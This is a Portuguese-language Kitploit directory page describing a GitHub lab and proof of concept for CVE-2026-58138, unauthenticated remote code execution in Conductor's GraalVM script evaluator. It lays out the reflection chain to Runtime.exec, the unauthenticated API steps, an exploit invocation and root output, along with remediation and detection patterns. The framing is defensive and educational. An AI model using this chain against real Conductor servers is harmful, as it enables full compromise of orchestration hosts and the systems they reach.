Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/biitts/cve-2026-58138-conductor-unauth-rce
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e ControleAprendizado e EducaçãoDesenvolvimento de PayloadsLabs e Prática
GitHubbiitts/cve-2026-58138-conductor-unauth-rce

CVE-2026-58138-Conductor-Unauth-RCE

CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE não autenticada através do avaliador INLINE GraalVM (HostAccess.ALL). Laboratório + PoC, verificado e2e (root).

Ver Repositório
3há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-58138 — RCE não autenticada no Conductor via Avaliador GraalVM INLINE

Conductor (OSS / Orkes) 3.21.21 … antes de 3.30.2 avalia JavaScript fornecido pelo usuário em tarefas INLINE (e LAMBDA / DO_WHILE / SWITCH) com um contexto GraalVM construído com acesso total ao host (HostAccess.ALL). O script reflete até java.lang.Runtime e executa comandos do SO. A API da comunidade não tem autenticação por padrão, então enviar um workflow com tal tarefa é execução remota de código não autenticada.

CVECVE-2026-58138
Avisovulncheck — RCE não autenticada no Conductor via avaliadores de script GraalVM
AfetadoConductor 3.21.21 … antes de 3.30.2
Corrigido3.30.2 (commits 87a7d96, c691e35)
ClasseCWE-94 (Injeção de Código) — sandbox polyglot do GraalVM não imposto
CVSS9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaçãoNenhuma (API da comunidade é não autenticada por padrão)
StatusCONFIRMADO — reproduzido como root contra conductoross/conductor:3.22.3

Nota de versão (leia isto). A configuração do avaliador varia dentro da faixa afetada: versões até ~3.29.x (este laboratório usa 3.22.3) constroem o contexto com allowHostAccess(HostAccess.ALL) simples — a configuração sem sandbox que o CVE descreve, e a que este PoC explora diretamente. A linha 3.30.0/3.30.1 adicionou uma lista de bloqueio denyAccess(...) parcial (reflexão bloqueada); a correção completa (allowHostClassLoading(false) + endurecimento do motor) só chega em 3.30.2. Este PoC tem como alvo a configuração HostAccess.ALL simples; ele não alega contornar a lista de bloqueio do 3.30.1.


Causa raiz

core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3):

root@kitploit:~
return Context.newBuilder("js")
        .allowHostAccess(HostAccess.ALL)   // full host interop -> no sandbox
        .build();

HostAccess.ALL permite que o script chame qualquer método/campo em objetos host Java. A tarefa INLINE vincula sua entrada como $, um objeto Java real, então o script pode pivotar: $.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime") → Runtime.getRuntime().exec(...). O avaliador Python é equivalente (Context.newBuilder("python").allowAllAccess(true)).

Exploração

  1. Registre um workflow cuja tarefa INLINE carregue a expression maliciosa (POST /api/metadata/workflow, sem autenticação).
  2. Inicie-o (POST /api/workflow/{name}, sem autenticação).
  3. A tarefa INLINE avalia o JS; o Runtime.exec reflexivo executa o comando e o PoC retorna seu stdout como resultado da tarefa.

Reproduzir

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d        # conductoross/conductor:3.22.3 (na faixa)
# aguarde ~60s para o servidor all-in-one iniciar

python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"

Observado:

root@kitploit:~
[*] registrando workflow com uma tarefa INLINE (javascript) maliciosa ... (sem autenticação)
[*] workflow iniciado id=...; lendo saída da tarefa INLINE ...
[+] RCE NÃO AUTENTICADA CONFIRMADA - saída do comando do host Conductor:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64

uid=0(root) é o usuário do processo Conductor; a saída é o estado real de id/uname — execução genuína, não echo. exploit.py usa apenas a biblioteca padrão do Python.

Impacto

Qualquer um que consiga acessar a API do Conductor executa comandos arbitrários do SO (aqui como root) no host orquestrador — comprometimento total do motor de workflow, suas filas/persistência, e todos os sistemas que seus workflows e credenciais armazenadas tocam.

Remediação

  • Atualize para Conductor ≥ 3.30.2 (os avaliadores JS/Python não rodam mais com acesso ao host / carregamento de classes ativado).
  • Defesa em profundidade: coloque autenticação na frente da API do Conductor, execute o servidor como um usuário não-root com privilégios mínimos e restrinja quem pode registrar/executar workflows.

Detecção

Sinalize definições de workflow cujas tarefas INLINE/LAMBDA/DO_WHILE/SWITCH contenham strings expression referenciando getClass, forName, Runtime, exec, ProcessBuilder, ou reflexão java., e processos do Conductor gerando shells.

Veja ANALYSIS.md para a cadeia de reflexão, a configuração do avaliador entre versões e o patch.


  • Autor: Caio Fabrício — github.com/BiiTts
  • O crédito da vulnerabilidade pertence ao relator original / aviso do fornecedor; este repositório é um laboratório independente e reproduzível + PoC para uso defensivo e educacional. Apenas para testes de segurança autorizados.
Baixar ferramenta